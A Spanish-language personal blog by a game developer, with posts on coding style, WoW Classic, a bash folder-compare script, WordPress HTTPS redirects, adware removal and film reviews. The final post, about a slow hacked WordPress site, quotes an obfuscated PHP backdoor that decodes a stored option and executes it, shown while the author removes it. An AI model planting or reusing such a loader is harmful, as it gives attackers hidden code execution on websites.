@ agnasg

La banda de los satélites asesinos

11-11-2017 8:02 AM

Como ya mencione en un post anterior, estoy trabajando en un viejo zombie que extraje del baúl: khpx, una aventura espacial con satélites asesinos. Gira alrededor del concepto de “eat or be eaten“, o, si no matas te matan. Por aquélla época yo jugaba Tribal Wars , que parece ser un juego de estrategia, pero en realidad es muy simple, si dejas que alguien se establezca cerca de tu pueblo, estás muerto. Anyway, khpx fue programado cuando yo estaba migrando de C a C++, es decir, no usa clases, entre otras cosas. ¡Que refrescante!. El código es claro, todo parece estar a la mano, y modificar lo que sea, o agregar nuevas cosas es simple. ¿Usar clases es complicado? No exactamente, pero hay una metodología que se debe seguir para usarlo, y hace que el código comience a oscurecerse, y funciona más como una camisa de fuerza (de las que usan en los psiquiátricos).

Hay interminables discusiones sobre cómo hacer para programar un juego de forma que sea fácil de mantener, pero no es de eso de lo que quiero hablar, sino del mantenimiento del juego, básicamente de lo que estoy haciendo en este momento con khpx. Las clases permiten agrupar funciones y sus datos, y supuestamente esto es bueno porque puedes generalizar este agrupamiento y crear grupos de grupos con funciones y datos comunes. ¡Te atrapé! Ahí está problema, como se supone que debemos hacer eso, el código resultante es oscuro, y difícil de modificar porque cualquier cambio se replica en el resto del sistema con consecuencias que no puedes descubrir sino horas después lo cual genera una pérdida de tiempo innecesaria. Sí, ya sé, una buena documentación resuelve eso, claro. Que bueno. Maravilloso.

Las clases permiten agrupar funciones y sus datos, pero eso también lo puedes hacer colocando las funciones y datos en archivos separados, con una nomenclatura uniforme. Por ejemplo, los juegos tienen objetos que deben ser manipulados en el ciclo inicialización, actualización, despliegue (init, update, render), entonces colocamos en el archivo las funciones initObjet (), updateObjet (), renderObjet (), y listo. Claro estas funciones pueden llamar a otras funciones similares dependiendo del tipo de objeto, y eso es todo, sin más complicación.

Por eso luego de pensarlo 3 nanosegundos abandoné la idea de migrar khpx a un sistema con clases, apuntadores a objetos, singletons, etc, etc. Me acabo de ahorrar días de no programar el juego programando el juego. Por lo demás, si googleas classes vs. funtions encontrarás comentarios tales como estos, donde palabras más palabras menos la conclusión pragmática es no uses clases. Normalmente.

Wow classic

08-11-2017 12:46 PM

La siguiente expansión de World of Warcraft es Battle for Azeroth, pero esa no fue la única noticia en Blizzcom este año, también fuimos sorprendidos con el anuncio de que World of Warcraft: Classic va a ser una realidad en algún momento del próximo año. Al parecer Blizzard finalmente está listo para lanzar wow vanilla nuevamente, con todos los problemas técnicos que eso implica (es un juego diferente, requiere sus propios servidores, con todos los costos involucrados). La pregunta es si los jugadores están listos para enfrentarse a wow vanilla. Yo no jugué wow en el período 2004-2006 pero si en Burning Crusade en 2007: es realmente difícil, no solamente los calabozos y los raids, sino inclusive y especialmente las misiones. No es solamente el detalle de mata 10 ratas, luego 10 superratas y finalmente a la jefa de las ratas. Eso es lo de menos. En wow vanilla hasta la más insignificante rata es un reto si no estás lo debidamente preparado.

Hoy requieres tener un buen gear con pociones, gemas, encantamientos de la mejor calidad para poder sobrevivir en los dungeons míticos. Pero en wow clásico requieres todo eso para andar por el mundo haciendo misiones: el medio ambiente te va a liquidar sin misericordia si no andas alerta.

 

Ese nivel de dificultad puede agarrar desprevenido a más de uno: subir de nivel puede ser labor de una semana en vez de unas cuantas horas como es en wow Legion. Así que estoy de acuerdo con lo que han dicho algunos comentadores que este va a ser un juego para una élite y no para el público en general, lo cual explica la renuencia de Blizzard a aceptar la exigencia de los jugadores en el sentido de tener wow classic nuevamente: “en realidad tú no quieres eso” (dicho por un ejecutivo de Blizz hace algunos años)

Lo cual nos lleva a la pregunta de para qué queremos esto: con el tiempo los jugadores conseguimos nuestra casa: el juego donde nos sentimos a gusto. Hay algunos jugadores (en steam por ejemplo) que compulsivamente juegos decenas de juegos. Pero esos son también una minoría. Yo creo que wow classic ni siquiera va a tener un volumen significativo en el lanzamiento. Lo cual me lleva a pensar que quizás esta sea una idea que no se va a materializar. El tiempo lo dirá.

Misterios

07-11-2017 4:48 AM

Yo llevo bitácoras de desarrollo para cada proyecto. Están en un archivo llamado ProjectSpecifications.txt (siempre es el mismo nombre para identificarlo rápidamente). Constituyen depósitos de momentos importantes en el desarrollo de los proyectos, los bugs, sus soluciones, historias cortas (de una o dos frases) que narran las vicisitudes que  encuentro en el camino.

Ayer encontré esta perla en la bitácora de khpx (una aventura espacial, con satélites asesinos):


04-06-2012  · Ver este video: http://www.wimp.com/coldplaywristbands/
implementar el efecto del snake que se mueve arriba de las tribunas 
casi cerca del techo. 10 horas contínuas de php/javascript coding.

Se refiere a otro proyecto (posiblemente tilewar, una mezcla de pacman y leemings), porque khpx está desarrollado en C++, nada de php/javascript. Lo interesante y misterioso es que el video no muestra ningún efecto de una snake cerca del techo. Supuse que por algún motivo habían cambiado el video correspondiente al enlace (es un enlace de 2012, hace 5 años), pero una búsqueda rápida en youtube (hay varios videos de esos conciertos de colplay con las pulseras luminosas) reveló que no hay ningún efecto de snake en el techo. Pero… en el mencionado video se ve a alguien señalando al techo.

Misterio

¿Qué pueden hacernos? ¿Despedirnos?

12-10-2017 2:15 PM

Leí con cierta despreocupación esta historia sobre una compañía abandonando la creación de juegos porque Steam removió sus juegos… 200 de ellos. La compañía está clasificada, de acuerdo a la respetable discusión en reddit, como shovelware, que es como se llaman aquéllas compañías y sus productos que producen juegos “duplicados” (muy similares entre sí) donde básicamente hay algunos cambios en las texturas y los modelos y nada más. La historia me recordó básicamente aquélla discusión sobre The Slaughtering Grounds y Digital Suicide que mencioné hace algún tiempo en  este post. Una empresa más que produce juegos de mala calidad quejándose de que desechen sus juegos. Nada nuevo bajo el sol. Pero, espera un momento ahí, Gevlon no piensa igual. Para él, esta historia hay que leerla de otra forma: se trata de una empresa, Valve, que tiene un monopolio sobre la distribución de juegos, cercenando los derechos de una empresa. Interesante. ¿Interesante? Sigamos…

Ahora esta conducta me recuerda algo que sucede con demasiada frecuencia en empresas de internet, por ejemplo la forma como paypal congela cuentas porque sospecha que una transacción es fraudulenta, lo cual no me parece malo, el problema es que puede tardar meses en descongelar la cuenta en casos en que la operación es ok, es decir legal. O cuando freelancer.com implementa el bendito “bid quality score” un mecanismo supuestamente para combatir el spamming con los bids pero que perjudica a moros y cristianos por igual. O cuando  upwork suspende cuentas como se narra en es este artículo, de una forma poco realista y poco razonable. Y cuando las discusiones sobre el tema avanzan, la conclusión es que ellos lo hacen porque pueden hacerlo y porque en todos estos casos ellos no están ganando real, es decir, no les conviene. Y los usuarios no tienen forma de apelar, y si lo hacen es simplemente una pérdida de tiempo.

Yo no ando en la onda antimainsteam, pero a veces las justificaciones para luchar contra las grandes corporaciones se hacen difíciles de rebatir.  Y lo digo yo que en mi oportunidad en mi otra vida salí como botellazo de mesonera en aquél desastre llamado la burbuja de las .com Si no saben de qué hablo les recomiendo esta película de Ben Affleck, la versión sería de la sátira de Jim Carrey Las aventuras de Dick & Jane.

Usar el cerebro

10-10-2017 6:27 PM

Súbitamente, sin aviso ni protesto, comencé a trabajar de nuevo en mi juego, luego de un par de meses de casi alguna actividad (porque “casi ninguna” es mucha, ¿correcto?) El punto es que recordé por qué lo había abandonado en un alarde de desidia: tiene un bug, uno de esos bugs incomprensibles que no puedes detectar con el debugger, sino que, lamentablemente, requiere que uses el cerebro (sí, eso duele, lo se). El problema es  que ni siguiera el bug se comportaba uniformemente de una versión a la otra. La 139 funcionaba, la 140 con el CSpell de la 139 también, pero las 141 con  el CSpell de la 139 no funcionaba pero los cambios de 140 -> 141 no eran (o no parecían relevantes al bug), era, en fin, una pesadilla incomprensible.

Pasé a una fase minuciosa de comparación de versiones dado que no he estado utilizando git en este proyecto. Lo usé con un roguelike hace años pero por razones que no recuerdo no lo quise usar más. Quizás para hacerme la vida más difícil (¿por qué hacer las cosas fáciles?). Comencé a buscar como comparar directorios porque es algo que no hacía desde hace tiempo. Probé con


find /dir1/ -type f -exec md5sum {} \; > dir1.txt
find /dir2/ -type f -exec md5sum {} \; > dir2.txt

diff dir1.txt dir2.txt

que simplemente indica de una forma poco amigable cuáles archivos son diferentes en los directorios “dir1” y “dir2”.

Luego encontré que con git también se puede hacer sin necesidad de un repositorio:

git diff --no-index dir1/ dir2/

Pero esto tampoco ayudó mucho. Así que esta era una excelente oportunidad para reinventar la rueda, y surgió en pocos minutos un script bash que compara dos directorios:


#!/bin/bash
# Bourne shell script
# compare two folders
# select files
if [ $# -ne 2 ]; then
echo "USAGE: compare folder1 folder2"
exit
fi
p1=$1
p2=$2
files1=( `ls $p1` )
files2=( `ls $p2` )
# n=${afiles[*]} is not available everywhere...
# or maybe yes
## how many are
n=${#files1[*]}
idx=0
while [ $idx -lt $n ]
do
diff -q "$p1/${files1[idx]}" "$p2/${files2[idx]}"
let "idx = idx + 1"
done

Con ayuda de este script logré encontrar el bug, finalmente. Resulta que “virtual bool OnEvent(const SEvent &event) en class MyEventReceivervirtual bool OnEvent(const SEvent &event) en class MyEventReceiver llama a CSpell::GetClass(), y esto accede a varias funcionalidades del motor gráfico ANTES de que el motor esté arriba. ”

El éxito merecía un descanso y seguí viendo en Netflix “Orange is the new black” que trata sobre unas delincuentes en una cárcel, que ciertamente suena deprimente, pero en realidad es la serie más graciosa que he visto en mucho tiempo (desde Californication, creo). El punto es que mi cerebro comenzó a relajarse, y relajarse, y relajarse y entonces “¿Yo no tenía una herramienta para comparar directorios, con ventanas, full funcionalidad, etc?”. No me acordaba del nombre pero sí del ícono. Lo busqué en el escritorio, en el menú, y finalmente en programas y características en el panel de control. WinMerge. Perfecto para comparar directorios, fácilmente, relajado. Lo anoté en mi chuletario, en la bitácora, etc. para que no se me vuelva a olvidar. Porque parece que tenía años que no se me presentaba un bug de este estilo y que requiere cirugía de respaldos. Y usar el cerebro. ¡Ouch!

Cómo forzar que un sitio wordpress utilice https

07-10-2017 5:08 PM

Forzar el uso de https en un sitio wordpress. Luego de hacer el setup de  SSL (instalar el certificado, etc) usted debe cambiar el  .htaccess  para que incluya lo siguiente:


<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_HOST} ^micronosis\.com [NC]
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://www.micronosis.com/$1 [R,L]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Aquí hay que cambiar example por el nombre de su dominio.

Si todavía chrome o firefox están reportando que hay imágenes inseguras (seguramente porque están siendo referenciadas como http://www.example.com/images/imagen.jpg) hay que agregar en la carpeta images o donde quiera que sea que están las imágenes un .htaccess con el siguiente contenido:


RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteCond %{REQUEST_URI} folder
RewriteRule ^(.*)$ https://www.example.com/folder/$1 [R,L]

Aquí hay que cambiar example por el nombre de su dominio.

Luego de estos cambios chrome debe indicar que el sitio es seguro.

Cómo eliminar el virus oneclickrev.com Adware/Browser Hijacker

30-09-2017 4:14 PM

Todavía no tengo una explicación de cómo y de dónde viene. Supongo que visité un sitio infectado, pero AVG (el antivirus que uso) no lo detectó. Debes seguir este tutorial (gracias a /r/antivirus). También debes seguir la sugerencia de google.com para usar Malwarebytes. Hay una prueba gratuita. Esta herramienta detectó algunas claves de registro que otras herramientas no pudieron detectar, supongo que están relacionados con el virus. Finalmente, después de todo esto debes borrar los datos de navegación en tu caché del navegador, el virus está escondido en algún lugar de los archivos e imágenes, por lo que este es el dato más importante que se debe borrar. Lo hice varias veces, así que quizás si no funciona a la primera deberías hacer un scan de Malwarebytes y luego borrar archivos e imágenes en la caché de los navegadores. Eso debería eliminar el virus. Mi recomendación es tener una versión pagada de algún antivirus. Yo uso avg porque no es tan molesto como los demás. Buena suerte.

Miscelaneos comenzando agosto

01-08-2017 7:34 AM
  • Estoy descargando krita, un software para pintar y dibujar digitalmente. Resulta que es el complemento perfecto de GIMP si no te gusta photoshop (ps = manipulación de imágenes (GIMP) + dibujo (krita)). Descubrí que krita existe por esta página. Ellos son una fundación así que no tienen que pagar impuestos, pero venden videos y libros por lo que sí tienen que pagar impuestos, debido a que tienen un programador que no vive en la EU. El enredo es bien complicado (como suelen ser todos los enredos). Más en la página donde se explica el enredo (algunas aclaratorias en Hackernews). No lo he probado profundamente pero es rápido y fácil. Parece tener todas las características que necesito. Me gusta.
  • Esta película Lapso de tiempo (Time Lapse) tiene un interesantisimo argumento. Tres jóvenes (con mucha tensión sexual, o variable quizás) descubren una cámara fotográfica que toma fotografias del futuro. Es emocionante ver y descubrir cómo evoluciona eso, y al menos en la primera mitad el guión es extraordinariamente exitoso llevando y extrayendo del argumento todo su potencial. Lamentablemente luego como que despidieron al guionista original (estoy especulando) y contrataron a uno mediocre que hizo un desastre de la segunda parte de la película. Las películas sobre viaje en el tiempo ya han sido exploradas hasta la saciedad, pero es interesante ver cuando alguien descubre un ángulo no lo suficientemente examinado. Lástima que el intento fracasa al final. Recomendada la primera parte y luego buscar otra película.
  • Siguiendo la tónica de comentarios sobre películas que he visto recientemente, La verdad oculta (Proof) narra las vicisitudes de Catherine (Gwyneth Paltrow) con su padre, un matemático que se volvió loco. El argumento es envolvente y las actuaciones de Anthony Hopkins (el matemático) y Jake Gyllenhaal (el pretendiente interesado en la obra del papá) son brillantes y sólidas por decir lo menos. Pero lo que me llamó la atención fue una de las manifestaciones de la locura del matemático. Tenía su oficina con cuadernos y cuadernos y cuadernos llenos de locuras, escritos, y más escritos (algo similar a los cuadernos del asesino serial en la película Seven). O algo similar a como luce (o lucía) mi escritorio. Ya yo no uso cuadernos (ahora mis locuras las escribo en mi diario digital y en este blog) pero hasta hace poco convulsivamente escribía en ellos. Estos son algunos. Creo que el resto está en alguna caja. El resto me refiero a 10-15 cuadernos más.
  • Este blog es sobre entre otras cosas películas, pero también programación de juegos así que vamos a diversificar los temas. Niko el de irrlicht 3d, publicó recientemente sus tips para los nuevos programadores de juegos. Me entero que ya ha publicado 6 juegos (solo recuerdo un rpg ambientado en la era medieval y este postCollapse). Estas recomendaciones son bastante estándards pero vale la pena revisarlas con cuidado de vez en cuando. Sobretodo “hacer backups” no se puede recomendar más, y por supuesto, el infaltable, el indomable “termina el bendito juego“. No hay una recomendación más valida. Sobretodo para mí que tengo años trabajando el mismo juego. ¿Avance? ¿30%? Estoy a 4-5 meses de trabajo de 8 horas diarias para publicar algo que se pueda jugar pero cada vez que mis proyectos de la vida real me lo permiten, le dedico bastantes horas (126 horas en mayo-junio, eso es algo ¿verdad?)

Nunca me abandones

30-07-2017 5:21 AM

Este post tiene spoilers sobre la película, así que detenga la lectura en este momento si no quiere recibir información que revele la trama.

“Never let me go” (imdb) es una película protagonizada por Carey Mulligan (la actriz de la segunda parte de Wall Street, la película de Michael Douglas) y Andrew Garfield. Se trata de la vida de estos dos personajes desde sus comienzos en la casa Hailsham, una especie de internado para huéfanos con estrictas reglas morales y de conducta, hasta que mueren luego de donar todos sus órganos. En este extraño mundo, que se parece mucho al nuestro, pero que no lo es, desde los años 50 está permitido cultivar seres humanos, criarlos, llevarlos hasta edad adulta y luego utilizarlos como donantes de órganos para los “humanos de verdad”. En realidad, desde temprano en la película descubrimos este hecho, el escritor no quiso jugar con esta retorcida realidad sino que la estableció como una regla para que sepamos a qué atenernos desde el comienzo: nuestros personajes están condenados a muerte desde el comienzo. La película se desarrolla, sin embargo, alrededor del triángulo amoroso entre las dos protagonistas femeninas y Tommy, el personaje intepretado por Garfield. Desde el comienzo resulta evidente como estas dos almas puras han nacido el uno para el otro, y que el destino ha arreglado todo para que así sea. Pero la mejor amiga se interpone en los planes y les cambia el destino a todos. Este argumento resalta en primer plano y la dantesca realidad que envuelve a los protagonistas permanece casi oculta en las sombras de sus vidas sin que parezca ocupar en realidad parte de ella.

La película es excepcional y así lo indican la mayoría de los comentadores en imdb. Hay, por supuesto, algunas excepciones, que critican en esencia la lentitud de la película, y la aparente falta de dirección, que configura una historia que no parece tener una conclusión. Hay además otros comentadores que llegan al absurdo de cuestionar que sabiendo o descubriendo su destino, los protagonistas permanecen impávidos, sin luchar contra el sistema (me recuerda los críticos que gritaban que era imposible que superman vuele al doble de la velocidad de la luz. Como si el resto de su extraterrestre condición fuera aceptable). Pero todos concuerdan que esta es una maravillosa historia, perfectamente presentada, y con magistrales actuaciones. Altamente recomendada.

NOTA: este post estaba listo para publicación desde comienzos de julio. Mi intención original era utilizar el argumento de la película para conversar sobre realidades igualmente retorcidas de nuestro devenir actual. Deseché estas ideas porque quizás sería actuar como el comentador mencionado, que cuestionaba las reacciones de los personajes ante su cruel realidad. Todos en este mundo real estamos sometidos a crueles realidades, y  aparte de los suicidas, todos parecemos aceptarlas de una manera generalmente ufana.

 

Mi sitio está lento: opción 1: desarrollar un clone de wp. opción 2: buscar el problema.

15-06-2017 7:37 AM

Así es. Estuve 3 días desarrollando un sistema de blogging para sustituir a wordpress porque realmente estoy cansado de remover los hacks que quien sabe de dónde vienen y cómo se instalan. Me parece que mi sitio está medianamente al día (el wordpress está actualizado a la última versión). Sin embargo estaba muy lento (6-10 segundos en responder). Al 4to día viendo que mi nuevo sistema de blogging todavía  requería trabajo (y tengo otros proyectos que atender) decidí darle a wordpress una segunda oportunidad. ¿Revisar de nuevo los archivos? No. Comencé por instalar un wordpress nuevo (recién sacado del tar.gz). Me costó bastante importar los posts porque inicié como costumbre el proceso a mano. Después descubrí que hay un export/import en Herramientas así que realmente no hay que hacer gran trabajo aquí.

El resultado no fue sorprendente, la nueva instalación respondió como debe ser, en un segundo desplegó el sitio. Así que comencé a hacer diagnóstico. Los archivos dieron varios positivos siendo el más grave este en plugins/index.php:


$z=get_option("_site_transient_browser_25cfdbde836e39c625962dca0e6fa4ab"); $z=base64_decode(str_rot13($z['update_url'])); if(strpos($z,"A5634C5C")!==false){ 
$_z=create_function("",$z); @$_z(); }
$myn="..."}

Pero al eliminarlo no se produjo ningún cambio. También eliminé los site_transient_browser de la base de datos para estar seguro (en este artículo se dice que tratar de hacer esto es como orinar en una piscina y luego tratar de remover el orine. Es el tipo de cosas que hago con bastante frecuencia, por ello lo de hacer mi clone de wp no resulta tan descabellado después de todo).

Finalmente comencé a revisar los plugins (que es por donde debí comenzar hace una semana). Resultó que la lentitud la estaba generando un plugin: wordpress support. No sé cómo se instaló pero ahí estaba de lo más inocente.
Con esto se resolvió el problema y ahora el sitio está a velocidad normal. Esta va a ser la última vez que hago esto, la próxima vez voy a migrar a mi sistema de blogging. Se cansa uno.